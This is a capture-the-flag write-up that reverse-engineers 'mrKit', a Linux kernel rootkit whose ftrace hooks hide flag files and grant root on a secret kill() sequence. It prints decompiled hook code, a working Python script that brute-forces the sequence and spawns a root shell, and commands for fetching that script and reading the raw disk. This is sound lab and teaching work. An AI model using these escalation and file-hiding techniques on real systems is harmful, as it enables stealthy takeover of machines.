0xmr: mrKit
mrKit rootkit challenge writeup: Analyzing a custom Linux kernel module with ftrace hooks for privilege escalation and file hiding, recovering the hidden flag.
A Hacker loaded this rootkit on his machine believing it’s hiding his secrets. Can you reveal them? vm credentials : username: mouthena password: password
Challenge URL: mrKit
The challenge gave us two files: mrKit.ova and mrkit.ko. A VM and a kernel module. I decided to look at the module first before touching the VM no point booting something suspicious without knowing what it does.
Intended solution
1
2
$ file mrkit.ko
mrkit.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=e1f96ce2b9835e0975f10aa6d6206eb0f2e883f8, with debug_info, not stripped
ELF 64-bit relocatable, a Linux kernel module. I then ran strings and filtered for anything that looked interesting.
1
strings mrkit.ko | grep -E "cred|kill|getdents|openat"
Seeing prepare_creds, commit_creds, getdents64, and openat together was a clear sign this module hooks syscalls and has some kind of privilege escalation built in. I opened it in Ghidra to understand exactly how.
The entry point mr_init was straightforward it calls fh_install_hooks(hooks, 3), installing three hooks via the ftrace framework. The interesting functions were f2, f3, and f4.
f2 hooks kill(). Every kill(pid, sig) call gets checked against an XOR-encoded sequence:
1
sequence[i] == (((int)param_1->di << 0x10 | (uint)param_1->si) ^ 0xa5b7c3d1)
If four consecutive calls match, the hook zeros all credential fields and calls commit_creds giving the process full root:
1
2
3
4
5
*(undefined4 *)(lVar1 + 0x20) = 0; // euid = 0
*(undefined4 *)(lVar1 + 0x18) = 0; // uid = 0
*(undefined8 *)(lVar1 + 8) = 0; // gid = 0
*(undefined8 *)(lVar1 + 0x10) = 0; // egid = 0
commit_creds(lVar1);
Any mismatch resets the counter to zero, so the sequence has to be sent consecutively without a wrong call in between.
f3 hooks openat(). It reads the filename from userspace and if the file is opened read-only and the name matches a hidden string, it quietly returns -2 (ENOENT):
1
2
3
4
if (((int)uVar2 == 0) && (pcVar3 != (char *)0x0)) {
lVar4 = -2;
goto LAB_.text__0010010e;
}
So even if you know the exact filename, the file appears not to exist.
f4 hooks getdents64(), which is what ls and find use internally. The hook lets the real syscall run first, then walks through the returned directory entries and removes any filename matching a 4-byte prefix:
MOV RSI, DAT_00100559 ; hidden prefix
LEA RDI, [RBX + 0x13] ; dirent filename field
CALL strncmp
TEST EAX, EAX
JZ LAB_hide_entry ; match = splice it out
I checked the .rodata section to find the actual strings being used:
1
2
00100540 "flag.txt" <- f3 (openat hook)
00100559 "flag" <- f4 (getdents64 hook)
So there are two layers of protection. f3 blocks you from opening flag.txt directly, and f4 hides any file starting with flag from directory listings. You cannot see it and you cannot read it through normal means.
With that understood I booted the VM, logged in with the provided credentials, and run id to confirm I was user and not root.
Confirmed the module was loaded, and found its path on disk:
1
2
lsmod | grep mrkit
find /usr/lib/modules -name "mrkit.ko" 2>/dev/null
Now for the exploit. The sequence[] values are embedded in the .ko binary XOR each 4-byte word with 0xa5b7c3d1 and you get the encoded (pid, sig) pairs. I wrote a script with help from Claude that scans the binary for valid pairs and brute-forces all permutations of four until euid hits zero.
Copy-paste into the VM was not working so I served the script over HTTP from my host:
1
2
3
4
5
6
# on the host
python3 -m http.server 8080
# on the VM
wget http://<host-ip>:8080/mr-exploit.py
chmod +x mr-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import struct
import os
import itertools
MODULE="/usr/lib/modules/6.8.0-101-generic/kernel/mrkit.ko"
KEY=0xa5b7c3d1
pairs=[]
with open(MODULE,"rb") as f:
data=f.read()
for i in range(len(data)-4):
val=struct.unpack("<I",data[i:i+4])[0]
v=val^KEY
pid=v>>16
sig=v&0xffff
if pid<40000 and sig<128:
pairs.append((pid,sig))
pairs=list(set(pairs))
for combo in itertools.permutations(pairs,4):
for pid,sig in combo:
try:
os.kill(pid,sig)
except:
pass
if os.geteuid()==0:
print("[+] ROOT SHELL")
os.system("/bin/bash")
break
Running it gave root. The UBSAN warning in the output was actually a good sign it meant the sequence hit the array boundary and the trigger fired. From there I tried ls but of course the flag was still hidden since the hooks were still active. So I went straight to the raw disk instead:
1
strings /dev/sda | grep 0xmr{
The rootkit hooks syscalls but it cannot do anything about raw block device reads. The flag was right there.
1
0xmr{mrk1t_r00tk1t_i5_h4ck3d}
Unintended Solution
I also found that you can skip the VM entirely by mounting the disk image directly on the host. Since the kernel module never loads, none of the hooks are active and everything is visible.
1
2
tar xf mrKit.ova
guestmount -a vmKit-disk001.vmdk -i --ro /mnt/vm
Browsing to /root/ in Thunar showed flag.txt sitting there with no hiding, no blocking nothing.














